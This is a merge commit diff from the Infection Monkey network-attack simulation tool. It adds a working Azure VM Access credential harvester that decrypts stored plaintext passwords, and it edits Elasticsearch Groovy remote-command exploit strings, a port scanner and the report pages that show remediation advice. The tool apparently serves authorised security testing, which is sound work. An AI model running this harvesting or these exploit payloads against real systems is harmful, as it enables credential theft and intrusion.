Merge branch 'nadler/pth' of github.com:guardicore/monkey into nadler/pth

This commit is contained in:
Oran Nadler 2018-04-10 17:51:37 +03:00
commit 61741eb94d
15 changed files with 267 additions and 36 deletions

View File

@ -39,12 +39,12 @@ The Infection Monkey uses the following techniques and exploits to propagate to
Setup
-------------------------------
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki.
Check out the [Setup](https://github.com/guardicore/monkey/wiki/setup) page in the Wiki or a quick getting [started guide](https://www.guardicore.com/infectionmonkey/wt/).
Building the Monkey from source
-------------------------------
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/setup)
If you want to build the monkey from source, see [Setup](https://github.com/guardicore/monkey/wiki/Setup#compile-it-yourself)
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).

View File

@ -25,7 +25,7 @@ def _cast_by_example(value, example):
if example_type is str:
return os.path.expandvars(value).encode("utf8")
elif example_type is tuple and len(example) != 0:
if value is None or value == tuple(None):
if value is None or value == tuple([None]):
return tuple()
return tuple([_cast_by_example(x, example[0]) for x in value])
elif example_type is list and len(example) != 0:
@ -272,5 +272,7 @@ class Configuration(object):
mimikatz_dll_name = "mk.dll"
extract_azure_creds = True
WormConfiguration = Configuration()

View File

@ -15,6 +15,7 @@
"current_server": "41.50.73.31:5000",
"alive": true,
"collect_system_info": true,
"extract_azure_creds": true,
"depth": 2,
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",

View File

@ -25,11 +25,11 @@ class ElasticGroovyExploiter(HostExploiter):
MONKEY_RESULT_FIELD = "monkey_result"
GENERIC_QUERY = '''{"size":1, "script_fields":{"%s": {"script": "%%s"}}}''' % MONKEY_RESULT_FIELD
JAVA_IS_VULNERABLE = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.Runtime\\")'
JAVA_GET_TMP_DIR =\
JAVA_GET_TMP_DIR = \
GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"java.io.tmpdir\\")'
JAVA_GET_OS = GENERIC_QUERY % 'java.lang.Math.class.forName(\\"java.lang.System\\").getProperty(\\"os.name\\")'
JAVA_CMD = GENERIC_QUERY \
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
% """java.lang.Math.class.forName(\\"java.lang.Runtime\\").getRuntime().exec(\\"%s\\").getText()"""
JAVA_GET_BIT_LINUX = JAVA_CMD % '/bin/uname -m'
DOWNLOAD_TIMEOUT = 300 # copied from rdpgrinder
@ -139,8 +139,8 @@ class ElasticGroovyExploiter(HostExploiter):
http_thread.join(self.DOWNLOAD_TIMEOUT)
http_thread.stop()
if (http_thread.downloads != 1) or (
'ELF' not in
self.check_if_remote_file_exists_linux(target_path)):
'ELF' not in
self.check_if_remote_file_exists_linux(target_path)):
LOG.debug("Exploiter %s failed, http download failed." % self.__class__.__name__)
return False
return True
@ -204,7 +204,7 @@ class ElasticGroovyExploiter(HostExploiter):
"""
result = self.attack_query(payload)
if not result: # not vulnerable
return False
return ""
return result[0]
def attack_query(self, payload):
@ -232,5 +232,5 @@ class ElasticGroovyExploiter(HostExploiter):
try:
json_resp = json.loads(response.text)
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except KeyError:
except (KeyError, IndexError):
return None

View File

@ -106,41 +106,47 @@ def check_tcp_ports(ip, ports, timeout=DEFAULT_TIMEOUT, get_banner=False):
"""
sockets = [socket.socket(socket.AF_INET, socket.SOCK_STREAM) for _ in range(len(ports))]
[s.setblocking(0) for s in sockets]
good_ports = []
possible_ports = []
connected_ports_sockets = []
try:
LOG.debug("Connecting to the following ports %s" % ",".join((str(x) for x in ports)))
for sock, port in zip(sockets, ports):
err = sock.connect_ex((ip, port))
if err == 0:
good_ports.append((port, sock))
if err == 0: # immediate connect
connected_ports_sockets.append((port, sock))
possible_ports.append((port, sock))
continue
if err == 10035: # WSAEWOULDBLOCK is valid, see https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
good_ports.append((port, sock))
if err == 10035: # WSAEWOULDBLOCK is valid, see
# https://msdn.microsoft.com/en-us/library/windows/desktop/ms740668%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396
possible_ports.append((port, sock))
continue
if err == 115: # EINPROGRESS 115 /* Operation now in progress */
good_ports.append((port, sock))
possible_ports.append((port, sock))
continue
LOG.warning("Failed to connect to port %s, error code is %d", port, err)
if len(good_ports) != 0:
if len(possible_ports) != 0:
time.sleep(timeout)
# this is possibly connected. meaning after timeout wait, we expect to see a connection up
# Possible valid errors codes if we chose to check for actually closed are
# ECONNREFUSED (111) or WSAECONNREFUSED (10061) or WSAETIMEDOUT(10060)
connected_ports_sockets = [s for s in good_ports if
s[1].getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) == 0]
sock_objects = [s[1] for s in possible_ports]
# first filter
_, writeable_sockets, _ = select.select(sock_objects, sock_objects, sock_objects, 0)
for s in writeable_sockets:
try: # actual test
connected_ports_sockets.append((s.getpeername()[1], s))
except socket.error: # bad socket, select didn't filter it properly
pass
LOG.debug(
"On host %s discovered the following ports %s" %
(str(ip), ",".join([str(x[0]) for x in connected_ports_sockets])))
(str(ip), ",".join([str(s[0]) for s in connected_ports_sockets])))
banners = []
if get_banner:
if get_banner and (len(connected_ports_sockets) != 0):
readable_sockets, _, _ = select.select([s[1] for s in connected_ports_sockets], [], [], 0)
# read first BANNER_READ bytes
banners = [sock.recv(BANNER_READ) if sock in readable_sockets else ""
for port, sock in connected_ports_sockets]
pass
# try to cleanup
[s[1].close() for s in good_ports]
[s[1].close() for s in possible_ports]
return [port for port, sock in connected_ports_sockets], banners
else:
return [], []

View File

@ -13,5 +13,6 @@ PyInstaller
ecdsa
netifaces
mock
nose
wmi
nos
ipaddress
wmi

View File

@ -6,6 +6,7 @@ import psutil
from enum import IntEnum
from network.info import get_host_subnets
from azure_cred_collector import AzureCollector
LOG = logging.getLogger(__name__)
@ -104,3 +105,29 @@ class InfoCollector(object):
"""
LOG.debug("Reading subnets")
self.info['network_info'] = {'networks': get_host_subnets()}
def get_azure_info(self):
"""
Adds credentials possibly stolen from an Azure VM instance (if we're on one)
Updates the credentials structure, creating it if neccesary (compat with mimikatz)
:return: None. Updates class information
"""
from config import WormConfiguration
if not WormConfiguration.extract_azure_creds:
return
LOG.debug("Harvesting creds if on an Azure machine")
azure_collector = AzureCollector()
if 'credentials' not in self.info:
self.info["credentials"] = {}
azure_creds = azure_collector.extract_stored_credentials()
for cred in azure_creds:
username = cred[0]
password = cred[1]
if username not in self.info["credentials"]:
self.info["credentials"][username] = {}
# we might be losing passwords in case of multiple reset attempts on same username
# or in case another collector already filled in a password for this user
self.info["credentials"][username]['password'] = password
if len(azure_creds) != 0:
self.info["Azure"] = {}
self.info["Azure"]['usernames'] = [cred[0] for cred in azure_creds]

View File

@ -0,0 +1,104 @@
import sys
import logging
import os.path
import json
import glob
import subprocess
__author__ = 'danielg'
LOG = logging.getLogger(__name__)
class AzureCollector(object):
"""
Extract credentials possibly saved on Azure VM instances by the VM Access plugin
"""
def __init__(self):
if sys.platform.startswith("win"):
self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings"
self.extractor = AzureCollector.get_pass_windows
else:
self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config"
self.extractor = AzureCollector.get_pass_linux
self.file_list = glob.iglob(os.path.join(self.path, "*.settings"))
def extract_stored_credentials(self):
"""
Returns a list of username/password pairs saved under configuration files
:return: List of (user/pass), possibly empty
"""
results = [self.extractor(filepath) for filepath in self.file_list]
results = [x for x in results if x]
LOG.info("Found %d Azure VM access configuration file", len(results))
return results
@staticmethod
def get_pass_linux(filepath):
"""
Extract passwords from Linux azure VM Access files
:return: Username, password
"""
linux_cert_store = "/var/lib/waagent/"
try:
json_data = json.load(open(filepath, 'r'))
# this is liable to change but seems to be stable over the last year
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint']
base64_command = """openssl base64 -d -a"""
priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint)
b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE)
b64_result = b64_proc.communicate(input=protected_data + "\n")[0]
decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path
decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE)
decrypt_raw = decrypt_proc.communicate(input=b64_result)[0]
decrypt_data = json.loads(decrypt_raw)
return decrypt_data['username'], decrypt_data['password']
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
return None
@staticmethod
def get_pass_windows(filepath):
"""
Extract passwords from Windows azure VM Access files
:return: Username,password
"""
try:
json_data = json.load(open(filepath, 'r'))
# this is liable to change but seems to be stable over the last year
protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings']
username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName']
# we're going to do as much of this in PS as we can.
ps_block = ";\n".join([
'[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null',
'$base64 = "%s"' % protected_data,
"$content = [Convert]::FromBase64String($base64)",
"$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms",
"$env.Decode($content)",
"$env.Decrypt()",
"$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)",
"Write-Host $utf8content" # we want to simplify parsing
])
ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
ps_out = ps_proc.communicate(ps_block)[0]
# this is disgusting but the alternative is writing the file to disk...
password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1]
password = json.loads(password_raw)["Password"]
return username, password
except IOError:
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
return None
except (KeyError, ValueError):
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
return None
except subprocess.CalledProcessError:
LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data")
return None

View File

@ -25,4 +25,5 @@ class LinuxInfoCollector(InfoCollector):
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
return self.info

View File

@ -96,13 +96,15 @@ class WindowsInfoCollector(InfoCollector):
self.get_hostname()
self.get_process_list()
self.get_network_info()
self.get_azure_info()
self.get_wmi_info()
self.get_reg_key(r"SYSTEM\CurrentControlSet\Control\Lsa")
self.get_installed_packages()
mimikatz_collector = MimikatzCollector()
self.info["credentials"] = mimikatz_collector.get_logon_info()
mimikatz_info = mimikatz_collector.get_logon_info()
self.info["credentials"].update(mimikatz_info)
self.info["mimikatz"] = mimikatz_collector.get_mimikatz_text()
return self.info

View File

@ -24,6 +24,7 @@ class Monkey(flask_restful.Resource):
if guid:
monkey_json = mongo.db.monkey.find_one_or_404({"guid": guid})
monkey_json['config'] = ConfigService.decrypt_flat_config(monkey_json['config'])
return monkey_json
return {}
@ -65,7 +66,8 @@ class Monkey(flask_restful.Resource):
# if new monkey telem, change config according to "new monkeys" config.
db_monkey = mongo.db.monkey.find_one({"guid": monkey_json["guid"]})
if not db_monkey:
new_config = ConfigService.get_flat_config(False, True)
# we pull it encrypted because we then decrypt it for the monkey in get
new_config = ConfigService.get_flat_config(False, False)
monkey_json['config'] = monkey_json.get('config', {})
monkey_json['config'].update(new_config)
else:

View File

@ -1,4 +1,5 @@
import copy
import collections
import functools
from jsonschema import Draft4Validator, validators
@ -521,8 +522,8 @@ SCHEMA = {
}
}
},
"mimikatz": {
"title": "Mimikatz",
"systemInfo": {
"title": "System collection",
"type": "object",
"properties": {
"mimikatz_dll_name": {
@ -531,6 +532,13 @@ SCHEMA = {
"default": "mk.dll",
"description":
"Name of Mimikatz DLL (should be the same as in the monkey's pyinstaller spec file)"
},
"extract_azure_creds": {
"title": "Harvest Azure Credentials",
"type": "boolean",
"default": True,
"description":
"Determine if the Monkey should try to harvest password credentials from Azure VMs"
}
}
}
@ -978,6 +986,19 @@ class ConfigService:
def encrypt_config(config):
ConfigService._encrypt_or_decrypt_config(config, False)
@staticmethod
def decrypt_flat_config(flat_config):
"""
Same as decrypt_config but for a flat configuration
"""
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
else:
flat_config[key] = encryptor.dec(flat_config[key])
return flat_config
@staticmethod
def _encrypt_or_decrypt_config(config, is_decrypt=False):
for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS:

View File

@ -33,6 +33,7 @@ class ReportService:
SAMBACRY = 3
SHELLSHOCK = 4
CONFICKER = 5
AZURE = 6
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -71,6 +72,19 @@ class ReportService:
}
for tunnel in mongo.db.monkey.find({'tunnel': {'$exists': True}}, {'tunnel': 1})]
@staticmethod
def get_azure_issues():
creds = ReportService.get_azure_creds()
machines = set([instance['origin'] for instance in creds])
return [
{
'type': 'azure_password',
'machine': machine,
'users': set([instance['username'] for instance in creds if instance['origin'] == machine])
}
for machine in machines]
@staticmethod
def get_scanned():
nodes = \
@ -135,6 +149,26 @@ class ReportService:
)
return creds
@staticmethod
def get_azure_creds():
"""
Recover all credentials marked as being from an Azure machine
:return: List of credentials.
"""
creds = []
for telem in mongo.db.telemetry.find(
{'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}},
{'data.Azure': 1, 'monkey_guid': 1}
):
azure_users = telem['data']['Azure']['usernames']
if len(azure_users) == 0:
continue
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
'origin': origin} for user in azure_users]
creds.extend(azure_leaked_users)
return creds
@staticmethod
def process_general_exploit(exploit):
ip_addr = exploit['data']['machine']['ip_addr']
@ -277,7 +311,7 @@ class ReportService:
@staticmethod
def get_issues():
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues()
issues = ReportService.get_exploits() + ReportService.get_tunnels() + ReportService.get_cross_segment_issues() + ReportService.get_azure_issues()
issues_dict = {}
for issue in issues:
machine = issue['machine']
@ -315,7 +349,8 @@ class ReportService:
@staticmethod
def get_config_ips():
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True, True) != 'FixedRange':
if ConfigService.get_config_value(['basic_network', 'network_range', 'range_class'], True,
True) != 'FixedRange':
return []
return ConfigService.get_config_value(['basic_network', 'network_range', 'range_fixed'], True, True)
@ -325,7 +360,7 @@ class ReportService:
@staticmethod
def get_issues_overview(issues, config_users, config_passwords):
issues_byte_array = [False] * 6
issues_byte_array = [False] * len(ReportService.ISSUES_DICT)
for machine in issues:
for issue in issues[machine]:
@ -337,6 +372,8 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True
elif issue['type'] == 'conficker':
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
elif issue['type'] == 'azure_password':
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users:
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
@ -397,7 +434,8 @@ class ReportService:
{
'scanned': ReportService.get_scanned(),
'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds()
'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(),
},
'recommendations':
{

View File

@ -103,7 +103,7 @@ class PreviewPaneComponent extends AuthComponent {
}
downloadLog(asset) {
fetch('/api/log?id=' + asset.id)
this.authFetch('/api/log?id=' + asset.id)
.then(res => res.json())
.then(res => {
let timestamp = res['timestamp'];

View File

@ -21,7 +21,8 @@ class ReportPageComponent extends AuthComponent {
ELASTIC: 2,
SAMBACRY: 3,
SHELLSHOCK: 4,
CONFICKER: 5
CONFICKER: 5,
AZURE: 6
};
Warning =
@ -313,6 +314,11 @@ class ReportPageComponent extends AuthComponent {
{this.state.report.overview.issues[this.Issue.WEAK_PASSWORD] ?
<li>Machines are accessible using passwords supplied by the user during the Monkeys
configuration.</li> : null}
{this.state.report.overview.issues[this.Issue.AZURE] ?
<li>Azure machines expose plaintext passwords. (<a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>More info</a>)</li> : null}
</ul>
</div>
:
@ -587,6 +593,21 @@ class ReportPageComponent extends AuthComponent {
);
}
generateAzureIssue(issue) {
return (
<li>
Delete VM Access plugin configuration files.
<CollapsibleWellComponent>
Credentials could be stolen from <span
className="label label-primary">{issue.machine}</span> for the following users <span
className="label label-primary">{issue.users}</span>. Read more about the security issue and remediation <a
href="https://www.guardicore.com/2018/03/recovering-plaintext-passwords-azure/"
>here</a>.
</CollapsibleWellComponent>
</li>
);
}
generateConfickerIssue(issue) {
return (
<li>
@ -631,6 +652,8 @@ class ReportPageComponent extends AuthComponent {
);
}
generateIssue = (issue) => {
let data;
switch (issue.type) {
@ -670,6 +693,9 @@ class ReportPageComponent extends AuthComponent {
case 'tunnel':
data = this.generateTunnelIssue(issue);
break;
case 'azure_password':
data = this.generateAzureIssue(issue);
break;
}
return data;
};